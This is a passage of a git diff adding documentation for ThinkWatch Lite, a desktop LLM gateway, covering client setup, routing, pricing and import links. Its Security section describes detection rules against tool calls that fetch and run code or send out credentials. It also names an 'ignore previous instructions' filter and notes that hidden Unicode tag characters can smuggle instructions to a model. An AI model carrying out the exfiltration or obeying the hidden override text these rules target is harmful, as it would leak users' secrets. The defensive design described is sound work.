"/Applications/ThinkWatch Lite.app"`, or choose **Open Anyway** in System Settings › Privacy & Security after the first refused launch. On Windows, choose **More info**, then **Run anyway** in the SmartScreen warning. + +Each file on the [releases page](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest) has a `.sha256` file beside it, checked with `shasum -a 256 -c` on macOS, `sha256sum -c` on Linux, or against the output of `Get-FileHash` on Windows. Updates installed by the app are verified against a key compiled into it, and the source code can be built locally. + +## Does switching upstreams lose Codex sessions? + +No. ThinkWatch Lite writes Codex's configuration once, with a model provider named `thinkwatch` that points at the gateway; upstreams then change in the gateway, so every session keeps the same provider and stays in Codex's list. Sessions from before Codex was connected are listed separately, and `codex resume -c model_provider=thinkwatch` continues one through the gateway. + +When a conversation moves to another upstream partway, reasoning sealed by the previous account cannot be read by the new one. When the new upstream rejects it, the gateway removes that sealed reasoning and sends the request once more, so the conversation continues with its messages and tool calls intact. + +## Can ThinkWatch Lite run on a server? + +Its gateway can. ThinkWatch Core runs as a systemd service on Linux on x86_64 or aarch64 with glibc 2.35 or later, such as Ubuntu 22.04 or Debian 12. The desktop app connects to it from **Settings › Connection** with **Add remote connection**, over a control channel encrypted and authenticated by a Noise handshake, and shows that server's traffic, cost and configuration. Clients on other machines are set up by hand with the server's gateway address and a gateway key. See [Server deployment](/docs/core/server-deployment/) and [Connecting to a remote core](/docs/lite/remote-core/). + +## How is ThinkWatch Lite updated and uninstalled? + +ThinkWatch Lite checks for a new version two minutes after it starts and once a day. Installed from the releases page, it updates itself with one press: it verifies the download and waits for the requests in progress to finish before restarting. A Homebrew installation updates through Homebrew instead, with `brew update && brew upgrade --cask thinkwatch-lite`. + +To uninstall, run **Settings › Full uninstall** first, which restores connected clients, turns off launch at login and can delete the data directory; then move the app to the Trash on macOS, or delete the AppImage on Linux or the portable folder on Windows. The Windows installer can also be removed through the system, which does the same restoring first. + +Related: [Features](/docs/lite/features/), [Install and update](/docs/lite/install/), [ThinkWatch Lite vs CC Switch](/docs/lite/compare-cc-switch/), [Connecting to a remote core](/docs/lite/remote-core/). diff --git a/src/content/docs-lite/en/features.md b/src/content/docs-lite/en/features.md new file mode 100644 index 0000000..cc4a7bb --- /dev/null +++ b/src/content/docs-lite/en/features.md @@ -0,0 +1,118 @@ +# Features + +A page-by-page reference to what ThinkWatch Lite shows and does. The [Lite page](/lite) gives the short version. + +The main window has ten pages: Overview, Traffic, Clients, Keys, Upstreams, Routing, Security, MCP, Plugins and Settings. + +## Usage and cost + +The Overview page covers the last 24 hours, 7 days, 30 days or a custom range on one screen of six cards: **Tokens**, **Cost**, **Cache hits**, **Requests**, **First token** and **Traffic**. Each card gives its figure and the change against the previous period of the same length. All but Cache hits carry a small chart of the period; hovering any chart shows the same point in time on every chart, and the value appears on the card under the pointer. **Cache hits** shows the hit rate, the net savings the cache brought, and how input was split between cache reads, uncached input and cache writes. **First token** charts the median and the 95th percentile of the time to first token, and stretches without requests are bridged with a faint dashed line. **Traffic** is what requests sent to their upstreams and received from them (see [Traffic and sessions](#traffic-and-sessions)), with upload and download charted separately. + +A strip above the cards lists what needs attention: failed requests, tool calls that were cut off, upstreams that cannot be used (circuit open, credentials rejected or sign-in required), and unpriced requests, each with a link to the page that deals with it. It is hidden when there is nothing to list. Each line can be ignored and returns when that matter has news; the notice that request recording could not start and the banners for a lost connection or rejected configuration can be ignored as well, and **Show again** in Settings › General brings every ignored warning back. The table below the cards lists the requests, tokens, cost, cache hits, first token and generation speed by model, upstream or key (generation speed by model and by upstream only), and a row opens the matching requests in Traffic. In **Live**, the Tokens, Cost and Requests cards follow the last ten minutes, while the other cards, the strip and the table cover the last 24 hours. + +The cost figure states how much of it is estimated, for instance for a response that was cut off before it finished. Requests whose model has no price, and requests whose upstream reported no usage, are counted separately and never added in as zero. Prices come from price sheets: the default one follows LiteLLM's public prices and is refreshed once a day, and a custom one applies a multiplier and its own prices for particular models, as needed for a relay whose prices differ from the official ones. A subscription account such as a ChatGPT sign-in is priced from the price sheet like any other upstream, and an upstream such as a local model can be set to free. Each request's cost is fixed when the request finishes, and the request records the price sheet and the date of the prices it was costed with. + +Until the first request has gone to an upstream, the Overview page shows a get-started checklist instead: add an upstream, connect a client, send a first request. Other pages show a hint for the next step where it applies, such as connecting a client once an upstream exists. A hint can be hidden, and Settings › General shows the hidden ones again. + +## Traffic and sessions + +The Traffic page lists requests as they arrive: status, key, model, upstream, time to first token and total time (with the generation speed on hover), tokens (with the upload and download on hover) and cost, with marks for a converted API format, redacted keys, text deleted by the content filter and a blocked or suspicious tool call. Long upstream, model and key names are cut short, and hovering shows them in full. The list can be searched (path, key, upstream, model and error message), filtered by key, upstream and model, or narrowed to failed or unpriced requests. It holds the latest 2,000 requests, and a search or filter also runs over the stored history, further back on request. With content search on, it also covers what each request newly sent (the last user turn, tool results included) and its answer (tool calls included), for as long as payloads are kept; a match shows its excerpt under the request. The Sessions view groups the requests of one conversation into turns, with the input tokens and the cost of each turn. Each turn also shows how full the model's context window was: the tokens sent to the model over the window, with cache reads as their own segment. Opening a turn shows an estimate of how much the system prompt, the tool definitions, the earlier conversation and the last user message took. A session's Conversation tab replays it turn by turn: the messages each turn added and its answer, with text, folded thinking, tool calls beside their results, and images by type and size. Changes to the system prompt and restarts after compaction are marked, and a turn whose bodies are past retention, were too large to keep whole or cannot be read says so. Each turn opens its request. + +A request opens into its timeline, its routing (the rule it matched, the group it went through and each attempt with its status and duration), its content, and its usage and cost. The timeline gives the proxy the request went out through (**Egress**, or **Direct**) and how much it sent to its upstreams and received from them (**Upload** and **Download**), measured as it crossed the network: after the gateway's own compression, before decoding, and summed over failover attempts. A request from DeepSeek Harness also shows the size of the session log it carried, the whole conversation the client attaches to every request; the gateway removes it before a request goes to an upstream other than DeepSeek. A finished request can be sent again, unchanged, to another upstream after an estimate of its cost, and the two responses are shown side by side. + +The **Content** tab has two views, **Parsed** and **Raw**, and both are live while the request runs. **Parsed** shows the conversation, with the answer appearing as it streams, thinking and tool-call arguments included. **Raw** shows the request and response lines, headers and bodies, with each streamed event appended as it arrives; **Follow latest** keeps the newest in view. In Raw, **Client side** and **Upstream side** show what the client and the upstream each exchanged with the gateway, which differ when the API format is converted or a plugin rewrites the request. Keys are replaced in both views, as in stored requests. The places a security rule matched are marked in both views, in the colors of the security log, and a folded part that holds one carries a dot. + +The attempts also show an upstream passed over at its concurrency limit (**At its concurrency limit**), the time spent waiting for a free slot, an upstream given up because it sent no content within the no-response timeout (**No response · 300 s** at the default), with the input tokens that upstream may have billed for it, and the attempt under way when a request was aborted (**Aborted**). A request refused by its key's usage limit, or because every upstream stayed at its concurrency limit, shows **Usage limit** or **At capacity** in place of an upstream, and a connection in the Responses API's WebSocket mode is listed one request per turn, each with its own usage and cost. + +A request in progress can be stopped with **Abort request** in its menu. **Abort session**, in a session's menu or at the top of its panel, stops every request in progress in that session after a confirmation. The upstream call is dropped at once, the client receives an error, and the request is marked **Aborted**, in grey; its upstream is not paused for it. Turns on a Responses API WebSocket connection cannot be aborted. + +## Client setup + +The Clients page points Claude Code, Claude Desktop, Codex, opencode, Pi, oh-my-pi, Grok Build, Qwen Code, Hermes Agent, Zed, Aider and DeepSeek Harness at the gateway. Before anything is written, it lists the fields that change and what else the change affects (the ChatGPT desktop app, for instance, reads the same configuration file as Codex), shows the full diff and backs up the original file. Only the settings that point the client at the gateway change, and each client receives a key of its own. Claude Desktop is connected through its official third-party inference mode, and the page lists each of the files that change for it; a Claude Desktop managed by an organization is left as it is. Claude Desktop accepts only Claude model names; when no upstream offers a Claude model, the takeover asks which model it should use and adds a routing rule for its key, which cancelling the takeover removes. A connected client can be restored at any time, on its own or together with all the others; a restored Codex keeps a plain OpenAI entry in place of the gateway's, so sessions started while it was connected can still be opened. opencode (v1 and v2), Pi, oh-my-pi, Grok Build and Qwen Code also get the list of models their key can use on the gateway, with each model's context window and, where the client uses them, its output limit and whether it reasons and takes images; when that list or a model's specs change, the page offers to update it, through the same diff. DeepSeek Harness is covered in its web app, its desktop app and headless runs, which all read the same configuration; models used through a DeepSeek account signed in to the desktop app still go to DeepSeek directly. Cursor, Continue and Antigravity CLI come with step-by-step instructions and a key created for them. For every client the page shows whether it is in use, waiting for its first request or not in effect, and its requests over the last 24 hours. + +On Windows, Claude Code and Codex installed inside WSL appear in a group of their own for each distribution, next to the clients on the computer itself. They are pointed at the gateway on Windows, restored and diagnosed the same way, each with a key separate from the Windows copy, and their files are edited through `\\wsl.localhost`. They are given `127.0.0.1`, the same address as the clients on Windows, which WSL reaches in two setups: + +- **WSL 1**, which shares the network with Windows. +- **WSL 2 with mirrored networking**: `networkingMode=mirrored` under `[wsl2]` (or the older `[experimental]`) in `%USERPROFILE%\.wslconfig`. It needs Windows 11 22H2 or later and WSL 2.0.5 or later. + +WSL 2 uses NAT networking by default, and the gateway on Windows cannot be reached from inside WSL that way; the gateway does not listen on the WSL virtual adapter for it. The WSL group then explains this instead of offering to connect, and offers to switch to mirrored networking: `networkingMode` in `.wslconfig` is added or changed, and nothing else in the file is touched, through the same diff, confirmation and full backup as a client. The switch takes effect once WSL restarts, which the page also offers (`wsl --shutdown`, which stops every running distribution). A full uninstall leaves `.wslconfig` as it is, and its backup is kept. On Windows 10 and Windows 11 21H2, which have no mirrored networking, and with a WSL older than 2.0.5, the group says so. When connected to a remote core, clients in WSL are pointed at the server like those on Windows, whatever the networking. + +## Keys + +Clients reach the gateway with a key, on the local machine as well. The Keys page lists the default key, used by clients that were not given one of their own, and a key for each connected client, labelled with the client it belongs to so that its requests can be told apart in Traffic. Each key has a route, the models it may use (all, none, or chosen models and patterns such as `gpt-5*`), an optional limit on concurrent requests, optional usage limits, and its requests and cost over the last 24 hours. A key can be disabled, which rejects every request made with it, or rotated; rotating writes the new key into the configuration of the client that uses it. + +Usage limits keep one client from using up a budget: each caps the key at a number of requests, tokens or a cost in USD per minute, hour, day, week or month, and once one is used up the key's requests are refused until it resets, with the key marked **Limit reached**. Token limits can count cache reads, models without a price count as zero toward a cost limit and are listed in the key dialog, and a daily, weekly or monthly limit raises a notification at 80% and when it is reached. + +## Upstreams + +Upstreams are the services requests are forwarded to: API keys for Anthropic, OpenAI, Google Gemini, DeepSeek or any compatible endpoint, Amazon Bedrock (with an API key, access keys or an AWS profile), a ChatGPT account or a Z.ai / BigModel account signed in from the app, relays such as OpenRouter, Sub2API and New API / One API, a ThinkWatch Enterprise gateway, and local models such as Ollama. When a client and an upstream use different API formats, requests are converted between Anthropic Messages, OpenAI Chat Completions, OpenAI Responses and Gemini, and the fields that cannot be carried over are listed on the request. A model's reasoning survives the conversion: the reasoning a Chat Completions upstream such as DeepSeek, Kimi or GLM returns reaches the client as it is and goes back to that upstream on the next turn, so a conversation with tool calls can continue, and the thought signatures on a Gemini model's tool calls are kept as well. When a Chat Completions model writes a tool call into its answer text, the gateway recognises it as an ordinary tool call, provided the request defined that tool, and it goes through tool-call inspection like any other. A request body a client sends compressed with gzip, deflate or zstd is read as usual, and an answer an upstream sends compressed reaches the client decoded. Clients such as Codex mark no prompt-cache breakpoints; when their requests are converted for an upstream in Anthropic Messages format, or for a Claude model on Bedrock that AWS lists for prompt caching (Claude 3.5 Sonnet v2, Claude 3.7 Sonnet, and Claude 4.5 and later), the gateway marks them, so each turn reads what the previous one cached. An upstream that refuses the marks receives the request again without them. Upstreams can be reached through an outbound proxy and priced with a price sheet of their own; aliases, proxies and price sheets have tabs on the same page. The **Traffic · 24 h** column of the **Proxies** tab gives the upload and download through each proxy over the last 24 hours, with 7 and 30 days on hover. An optional **Concurrency limit** suits relays and accounts that allow only so many requests at once: when the upstream is full, a conversation that stays on it waits for a free slot, other requests go to the next upstream, and when every upstream is full a request waits and then receives a busy error. A streamed request waiting for a slot or for its key's usage window receives keep-alive pings while it waits. **Specs…** in an upstream's model list sets by hand a model's context window, maximum output, and whether it reasons and takes images, for a model the price table lacks or gets wrong; the values set there are used in place of the price table's. A connection test times the DNS lookup and the TCP, TLS and proxy handshakes without incurring any cost; an inference test measures the time to first token and estimates its cost before it runs. + +**New upstream** starts with the service. The services are listed in three groups, each with its logo and a one-line description, and can be searched: **Model vendors** (Anthropic, OpenAI, Google Gemini, DeepSeek, Z.ai / BigModel), **Platforms and relays** (Amazon Bedrock, OpenRouter, ThinkWatch, Sub2API, New API / One API) and **Local and custom** (Ollama, Custom). Picking one goes straight to **Connection**, which asks only for what that service needs. **Authentication** offers the methods the service has: an API key or a ChatGPT account for OpenAI, an API key or an account sign-in for Z.ai / BigModel, an API key, access keys or an AWS profile for Bedrock, and an API key or OAuth for custom endpoints, while ThinkWatch, Sub2API and New API / One API take an API key; a service with a single method shows no choice. What the service already decides, such as its address, its protocol or that Ollama takes no key, is filled in or left out. Request headers, client identity forwarding, the behaviour when the proxy is unavailable and the concurrency limit are under **Advanced settings**, which opens by itself when one of them is set. **Next** checks the connection at no cost: when it passes, **Models** opens with the latency, the number of models found and any balance on top; when it fails, the reason is shown with **Retry** and **Continue anyway**, for an upstream that refuses the check but serves requests. A ChatGPT or Z.ai / BigModel account is signed in inside the dialog, once its notes are acknowledged: in the default browser, or in another browser through **Copy link**, and a ChatGPT account also with a device code. Once signed in, the upstream is saved and the dialog goes to **Models**, with the account on top. When the app is connected to a remote core, a ChatGPT account signs in with a device code only, and the verification address and the code can each be copied. + +**Edit upstream** recognizes the service from the upstream's address, or for Sub2API, New API / One API and ThinkWatch from where its balance is read, shows its logo and name, and asks what creating it would ask. A value already set is always shown, even where the service would not ask for it. A Z.ai or BigModel upstream written by signing in shows **Account sign-in** as its method, with **Sign in again**; one added with a key can switch to **Account sign-in**, and signing in replaces its key while the model scope, billing and other settings stay as they are. + +The **Quota / billing** column shows the quotas and balances that services report. A ChatGPT account shows its usage limits and reset times. So does an upstream on a GLM Coding Plan, that is, one whose address is on `api.z.ai` or `open.bigmodel.cn`, whether it was signed in from the app or added with a key: its 5-hour and weekly limits and, on a plan billed in credits, the credits left (“1,976 / 2,000 credits left”). Other upstreams show their balance: the key's quota, or the tightest of its time windows, as a bar with what is left; the money left in the account (“Balance $18.40”); or, for a key without a limit, what it has spent (“$12.40 spent this month”). Hovering lists every window with its use and reset time, the exact amounts and when the balance was read. Balances are read from OpenRouter, DeepSeek, Moonshot, Sub2API, New API / One API and ThinkWatch Enterprise; the source is recognized from the address, or set by the service picked when the upstream was created. On a ThinkWatch Enterprise gateway, a key with limits of its own shows its own limits and use; a key without them shows the account's limits and its total over all of its keys, marked as the account's. The connection check shows the balance with its result, and an upstream's menu has **Refresh balance**. A balance that cannot be read shows why on hover; reading it never affects requests. + +An upstream's models are the ones it lists plus any added by hand. Upstreams often leave out models they serve: an account backend hides newer models, a relay lists only some. **Add models…** in an upstream's model list adds such models by their exact IDs, several at a time. An ID cannot contain `*` or `?` or have spaces around it, is at most 256 characters, and is added once; the dialog points out an ID that breaks these rules, or one the upstream already lists, before saving. A model added by hand is marked **Manual**, and routing and failover, aliases, routing rules that name a model, a key's allowed models, the model list clients see, the dry run and the speed test all treat it like a listed model. The summary at the top of the list counts the models the upstream lists apart from those added by hand. Hovering over a manual model shows **Remove**, which takes effect at once, with **Undo** in the message that follows. The **Models** section of the **New upstream** and **Edit upstream** dialogs ends with the same input, for an upstream with or without a list, so models can also be added while it is created or edited. They are saved with the rest of the upstream, and with **Selected models** a model added there is enabled at once. For an upstream that lists no models, the models added by hand are its whole list. + +The Aliases tab gives a model the name clients use for it. An alias lists the names the same model has on different upstreams, such as `claude-sonnet-5` on Anthropic and `us.anthropic.claude-sonnet-5-v1:0` on Bedrock; every upstream that offers one of them serves the alias under its own name, and they back each other up. Clients see aliases in their model lists, and answers carry the name the client asked for, while the request log shows the model each upstream was sent. When the same Claude model has different names on the official API, Bedrock, Vertex or OpenRouter, the tab and the new-alias dialog suggest grouping them. An alias can also be created from an upstream's model list. The dialog shows which upstream receives which name and warns when the name would take over another upstream's model of the same name. A key whose model scope allows an upstream model can also use the aliases that list it. + +Each upstream is also compared over the last 7 days with the others serving the same model, and a deviation is marked next to its name in the list: **Model name differs** when answers name a model other than the one sent, **Input reported high** or **Input reported low** when the input tokens it reports, as a multiple of the gateway's own estimate, are well off the other upstreams', and **Low cache reads** when follow-up turns read a smaller share of their input from the prompt cache. Hovering over a mark shows the evidence and the sample sizes, and a deviation is marked only when both sides have enough samples. + +API keys and header values can be written as `${NAME}` to read a system environment variable. On macOS these come from the login shell, so variables exported in `~/.zshrc` and similar files apply, and the same holds on Linux (`~/.bashrc`, `~/.profile` and so on); on Windows they are the environment variables configured in system settings. After a variable changes, reopening the app picks it up. Proxy variables such as `HTTPS_PROXY`, and `PATH`, are not read. + +A relay, a vendor or a ThinkWatch Enterprise console can hand out an import link, `thinkwatch://import?…` or its web form `https://thinkwat.ch/import#…`, that opens the New upstream dialog with the service, address, key, headers, concurrency limit, models, model specs and a price sheet already filled in. The dialog names the host that will receive requests and keys, and nothing is written or sent before Next is chosen or a sign-in is started. A link only ever adds one upstream and cannot set proxies, aliases, routes or environment variable references; a link that needs a newer version of the app says so. The parameters for each service and a link builder are in [Import links](/docs/lite/import-links). + +## Routing and failover + +Each key follows a route, and keys without one follow the default route. A route is a list of rules evaluated in order. A rule matches on the model, the key, the client's API format, input tokens, `max_tokens`, the number of tools, images, extended thinking, streaming, prompt caching, the kind of auxiliary request or the time of day; it then forwards the request to an upstream, a group or specified models, or refuses it, and can rewrite the model, `max_tokens` or extended thinking. Specified models name an upstream and one of its models, with backups tried in order, and send the model as written; to have one client use one model under another model's name, a rule on that client's key does it without changing what the name means for other clients. A model condition written for an upstream model also matches the aliases that list it. The time of day is judged by the local clock of the machine the gateway runs on: pick the weekdays and a start and end time, several windows per rule if needed, and an end earlier than the start is an overnight window. Setting `max_tokens` caps the length of answers: the upstream stops at that point by itself, without an error. A group puts several upstreams behind one name and decides the order in which they are tried: as listed, manually selected, in turn, lowest latency first or lowest cost first. In a round-robin group each member has a weight from 1 to 100, its long-run share of requests, and **Distribute by** can multiply the weights by each upstream's speed (time to first token), its reliability (recent success rate) or both; conversations in progress stay on their upstream. When an attempt fails, the request moves on to the next upstream, and by default a session stays on one upstream so that its prompt cache keeps hitting. An upstream that sends no content for the **No-response timeout** in Settings › Failover, 300 seconds by default, is given up on; keep-alive pings do not count as content. Before anything has reached the client, the request moves to the next upstream, and when none is left the client receives a timeout error; once the answer has started, it ends with an error. A map at the top of the page traces every key through its route and groups to the upstreams, and requests in flight move along their path from the key to the upstream, each in its own colour. + +Auxiliary requests that clients send on their own (health checks, warm-ups, titles, topic detection and input suggestions) can be answered locally at no cost, or forwarded. Forwarded ones go through the routing rules like any other request, and a rule can send a given kind to a lower-cost upstream. + +Every request records the rule it matched, the group it went through and each attempt with its status and duration. A dry run evaluates the rules for a given request and shows where it would go and why, without sending anything and without incurring any cost. + +## Security + +The Security page holds three protections: outbound redaction, tool-call inspection and the content filter. They apply to every upstream and every key alike, and each runs in one of three modes: Off, Observe (detect and record, change nothing) and a third mode named for what it does: Replace for outbound redaction, Cut off for tool-call inspection and Enforce for the content filter. All three start in Observe, so out of the box no request is changed or refused. + +- **Outbound redaction** searches the whole request before it leaves, including the system prompt, earlier turns and tool calls, for credentials and personal information: API keys and tokens for Anthropic, OpenAI, GitHub, Slack, AWS, Google, GitLab, Stripe, npm, DigitalOcean and SendGrid, private keys, JWTs and passwords in connection strings, as well as Chinese resident ID numbers and bank card numbers, which count only when their structure and check digit are valid. In Replace mode they are replaced with placeholders such as `<>` and restored where the response repeats them. Rules for email addresses, Chinese mainland mobile numbers, internal IP addresses and internal domains are included and start off, and a custom rule can name its own placeholder: `PROJECT` gives `<>`. +- **Tool-call inspection** checks the tool calls a model returns for commands that download or decode code and run it, send out environment variables or credential files, send a credential to a host that is neither local nor the credential's own provider, read private keys or cloud credentials, read or change ThinkWatch's own data directory, or install startup items and scheduled jobs. A path that only appears in text being written, such as a document that mentions the directory, does not count. In Cut off mode such a call cuts the response off, so the client never receives a complete call to run. Deleting the home or root directory, making files world-writable and uploading a local file to an outside host are only recorded by default. +- **Content filter** checks the user messages and tool results in each request, context compaction included. A rule matches a keyword, a regular expression or code points such as `U+E0000–U+E007F`, and in Enforce mode it refuses the request, deletes the matched text and sends the rest, or only records. Built-in rules delete Unicode tag characters and bidirectional controls, which can hide instructions from people but not from a model, and refuse explicit "ignore previous instructions" phrasing. Rules for zero-width and private-use characters, which emoji, Persian text and icon fonts also use, and for jailbreaks, persona manipulation, prompt extraction and their Chinese counterparts start off and can be switched on. + +The page lists every rule, the built-in ones grouped by kind. Built-in rules can be switched on or off one at a time; a built-in tool-call rule can be set to cut off or only record, and a built-in content rule to refuse, delete or only record. Custom rules are regular expressions, or for the content filter also keywords or code points. Any rule can be tried on a sample text first; for redaction and the content filter, the test also shows the text as it would be sent. Everything the protections find is kept in the log on the first tab, together with the request it came from; when hidden characters spell out text, the log shows that text. + +An entry in the log opens in place. It lists every place the rule matched, up to 50 with the number of the rest: the part of the request or answer it was in (the system prompt, a message with its number and role, a tool call or tool result with the tool's name, or the answer text), its JSON path, and up to 80 characters of context on either side, with credentials masked. It gives the rule as it was when it matched, a custom rule's pattern or a built-in rule's name with the core version that evaluated it, so the entry stays readable after the rule is changed or deleted. It states exactly what was done: the placeholder a value was replaced with, the tool call that was cut off and the notice the client received instead, the reply the client received for a refused request, or how many matched segments were deleted. The session and, when it differs from the model requested, the model sent to the upstream are given as well. The entries in a request's timeline open the same way. **Export** saves every entry of the selected period as JSON (full detail) or CSV (one row per entry). The log is kept as long as the request records, and changes to the protections' settings are not written to it. + +The protections act on requests and answers passing through the gateway, not on files on disk. The configuration file holds keys in plain text and only its owner can read it, which keeps out other users but not programs running as the same user; outbound redaction protects what leaves the machine, not the file. + +## MCP + +The MCP page covers what clients load from their own configuration files, which does not pass through the gateway. + +- **Servers:** the MCP servers configured in Claude Code, Claude Desktop, Cursor, Codex, opencode, Antigravity CLI, Zed, Pi, oh-my-pi, Grok Build, Qwen Code, Hermes Agent and DeepSeek Harness, side by side. A server can be copied from one client to another or removed from a client; the change is shown before anything is written, and the original file is backed up. Copying and removing work for Claude Code, Claude Desktop, Cursor and Codex; the other clients are listed but not written to. A remote server on another host is marked as third party, since using it sends the surrounding context to that host, and a server configured differently in different clients is marked as well and can be compared side by side. +- **Skills and hooks:** the installed skills and configured hooks, with the client each belongs to; skills in the shared `~/.agents/skills` folder are listed as such. +- **Findings:** client configuration, skills, hooks, slash commands, subagents and project instruction files are scanned for hidden characters, prompt injection, dangerous commands and overly broad permissions, and each finding is graded high, medium or low. The scan only reports; it never changes a file. + +The app watches these files while it runs, and a new finding raises a system notification. After a file is edited, only the findings that are new are reported; those already in it are not reported again, even when they moved to another line. + +## Plugins + +Plugins are short JavaScript files that change requests before they go to an upstream and answers before they reach the client, such as asking for answers in a chosen language or converting file paths in tool calls between WSL and Windows. They run after routing, in a sandbox inside core with no network, files or memory between requests, see placeholders instead of the keys in a request, and pass through the same protections afterwards. Two plugins ship with the app, both off until turned on. Each plugin is one file that also holds its scope, its behavior on errors and its settings. It is edited in one editor with a Settings tab, whose changes are written into the file, and a Code tab; adding a plugin opens the same editor. Routine changes are saved directly; for a plugin that may change tool calls, installing it, turning it on, changing its code and approving a changed file are confirmed in a system dialog. A plugin whose file changes outside the app stops running until the new version is approved. The page lists each plugin with its status, permissions, scope and statistics, and offers a trial run on a recent request and its log; requests changed by plugins are marked in Traffic. The API, permissions, limits and security model are described in [Plugins](/docs/lite/plugins). + +## Settings + +Settings has seven sections. Connection lists the local core and the saved remote cores, described in [Connecting to a remote core](/docs/lite/remote-core). General sets the language, the appearance, what the menu bar item shows on macOS (or that it is hidden), launch at login, whether notices arrive as system notifications, in the app only or not at all, and shows hidden guidance hints and ignored warnings again. Listening sets who can reach the gateway (this machine only, the local network of a chosen interface, or every interface), its port and the allowed address ranges. Failover sets how long a failing upstream is paused before requests go to the next one: after how many consecutive failures, for how long, and separate pauses for an insufficient balance, a used-up quota and rate limits. It also sets the no-response timeout, after which an upstream that has sent no content is given up on (300 seconds by default, from 30 to 3,600), and how long in total a request may wait for a free slot on a full upstream or for a key's per-minute or per-hour limit, 30 seconds by default. Log retention sets how long request payloads and request records are kept, and a size cap for payloads; the security log expires with the request records. About shows the version, checks for updates and produces a diagnostics bundle with keys and addresses masked. Uninstall restores every connected client and removes the autostart entry, and is meant to be run before the app is deleted. + +## Menu bar, system tray and notifications + +On macOS the menu bar shows today's tokens above today's cost, written as a plain number without the ≥ and ~ marks, as short as the token count ($41.20); the opened menu marks a cost that includes estimates or is only a lower bound. A subscription quota that is nearly used up or spent does not colour the item; only its row in the opened menu turns orange or red, and the mark carries a red badge when the gateway is not running. **Menu bar** in Settings › General can reduce the item to the icon or to the numbers, or set it to **Hidden**, which takes it off the menu bar: the gateway keeps running in the background, after a launch at login as well, and opening ThinkWatch Lite again from Finder or Spotlight shows the main window. + +Clicking it opens a native menu. **Open ThinkWatch Lite** always comes first, followed by unread notices and a **Today** block: today's tokens in large type, with requests, failures and cost on the line below and a small chart of tokens per hour beside them. The block's top line gives the gateway's state, the server's name when connected to a remote core, and the generation speed over the last minute. Below it, each quota window an upstream reports has a row with how much is used and when it resets (subscription accounts and GLM Coding Plan upstreams; a plan billed in credits shows the credits left under the bar), followed by the requests in progress. The actions come last: choosing the upstream of a manually selected group, copying the gateway address, which is shown beside the item, or the default key, installing a new version when one is available, settings, switching connections and checking for updates, all without opening the main window. + +When the gateway is not running, Open ThinkWatch Lite is followed by its state, the reason, and items to restart it (or, for a remote core that cannot be reached, to retry the connection) and to show the details. + +On Windows the icon sits in the notification area. Hovering over it shows the gateway's state and today's tokens and cost; a left click opens the main window, and a right click opens the same menu, with the Today block and the quota bars written out as text. + +On Linux the icon sits in the system tray. Clicking it opens the same menu, with the Today block and the quota bars written out as text as on Windows; its first item, Open ThinkWatch Lite, brings up the main window. + +System notifications, native on macOS and Windows and sent through the desktop's notification service on Linux, report when the gateway stops forwarding or keeps restarting, the connection to a remote core drops, a subscription quota runs out, a sign-in expires or an upstream rejects its credential, a proxy cannot be reached, the configuration file fails validation, a tool call matches a rule that cuts the response off, a key nears or reaches a daily, weekly or monthly usage limit, or suspicious content appears in a client's configuration. A new version found by the automatic check is listed among the notices, in grey, and announced the same way (see [Updates](/docs/lite/install#updates)). An unreachable upstream, which a fallback usually covers, is only listed in the app. Notices as a whole can be set to system notifications, in-app only, or off. Marking a notice as read stops the bell from counting it; the notice stays in the list until the problem behind it clears or the list is cleared. diff --git a/src/content/docs-lite/en/import-links.md b/src/content/docs-lite/en/import-links.md new file mode 100644 index 0000000..c8316d2 --- /dev/null +++ b/src/content/docs-lite/en/import-links.md @@ -0,0 +1,218 @@ +# Import links + +ThinkWatch Lite accepts links that open the New upstream dialog with the settings already filled in. A relay, a model vendor or a ThinkWatch Enterprise console can place such a link in its dashboard or in a welcome message. The user opens it, checks the settings in the same dialog used to add an upstream by hand, and creates the upstream with a few clicks. + +This page is written for relay and vendor operators. It describes the two forms of the link, the parameters grouped the way the dialog groups them, which service takes which parameter, the encodings, and what a link intentionally cannot set. A link builder is at the end of the page. + +The parameters other than `name`, `url`, `protocol`, `key` and `models` need ThinkWatch Lite 2026.10.16 or later. A link that uses only those five also opens in earlier versions, and every link written for earlier versions stays valid. + +## Link forms + +Both forms carry the same parameters. + +| Form | Description | +|---|---| +| `thinkwatch://import?…` | Opens the app directly. The browser asks for permission before it hands the link to the app. `thinkwatch://import/?…` is accepted too. | +| `https://thinkwat.ch/import#…` | A web page that shows the hosts that will receive requests and the settings, opens the app with a button, and offers the download when the app is not installed. The parameters are in the fragment after `#`, which browsers do not send to any server. The page loads no analytics or third-party scripts and removes the fragment from the address bar after reading it. | + +The web form suits emails and dashboards whose users may not have the app yet. The page checks the parameters with the same rules as the app and shows nothing for a link that fails them. + +## Parameters + +A parameter is accepted only where the New upstream dialog shows its field for the chosen service and authentication method. A value the dialog fills in by itself, such as the address of an official service or the only protocol it speaks, may be repeated in the link but not changed. [By service](#by-service) lists what each service takes. + +### Service + +| Parameter | Value | +|---|---| +| `service` | `anthropic`, `openai`, `gemini`, `deepseek`, `zai`, `bedrock`, `openrouter`, `thinkwatch` (a ThinkWatch Enterprise gateway), `sub2api`, `newapi` (New API / One API), `ollama` or `custom`. When omitted, the app recognizes the service from `url` the way the edit dialog does: official addresses by host, standard Bedrock addresses, port 11434 as Ollama, and any other address as `custom`. When a parameter of the link does not fit the recognized service, the link is a `custom` upstream, which takes every parameter. An explicit `service` is never changed. | +| `auth` | `key` (the default), `oauth`, `account` or `aws-keys`, among the methods the service offers. `account` is the ChatGPT account for `openai` and the account sign-in for `zai`. | +| `site` | `bigmodel` (mainland China) or `zai` (international), for `zai` only. When omitted, it is taken from `url`, or is `bigmodel`. | + +### Connection + +| Parameter | Value | +|---|---| +| `name` | The upstream's name in the app. When omitted, the app chooses one from the service or the address. | +| `url` | The base URL, without endpoint paths such as `/chat/completions` or `/messages`. `https://`, or `http://` on this computer or a private network (see below). No user name or password, query string or fragment. Required for `custom`, `thinkwatch`, `sub2api` and `newapi`. Optional for Bedrock (an endpoint such as a VPC endpoint) and Ollama (another machine). Services with their own address accept only that address. Not accepted with `auth=account`. | +| `protocol` | `anthropic`, `openai-chat`, `openai-responses` or `gemini`, where the dialog offers a choice. When omitted, the app detects it from the address. | +| `region` | The AWS region, such as `eu-west-1`, for Bedrock only. Without `url`, it chooses the standard address of that region. With a standard address, it must match the region in it. With another address, it is the signing region and needs `auth=aws-keys`. | +| `key` | The API key, stored as given (for Bedrock, the Bedrock API key). With `auth=key`. Ollama has no key field. | +| `oauth_endpoint` | The token endpoint, with the same rules as `url` and usually a path. Required with `auth=oauth`. When its host differs from the address, the app 